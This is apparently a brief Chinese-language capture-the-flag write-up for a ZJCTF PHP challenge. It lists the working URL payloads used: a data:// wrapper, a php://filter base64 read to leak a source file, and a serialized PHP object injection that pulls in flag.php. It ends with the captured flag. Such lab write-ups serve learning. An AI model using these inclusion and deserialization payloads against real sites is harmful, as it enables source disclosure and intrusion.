利用?text=data://text/plain,welcome to the zjctf &file=useless.php没反应
尝试filter伪协议读取
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
最终payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
检察源代码发现flag flag{17e56d67-d376-4aeb-8de3-a411874f6256}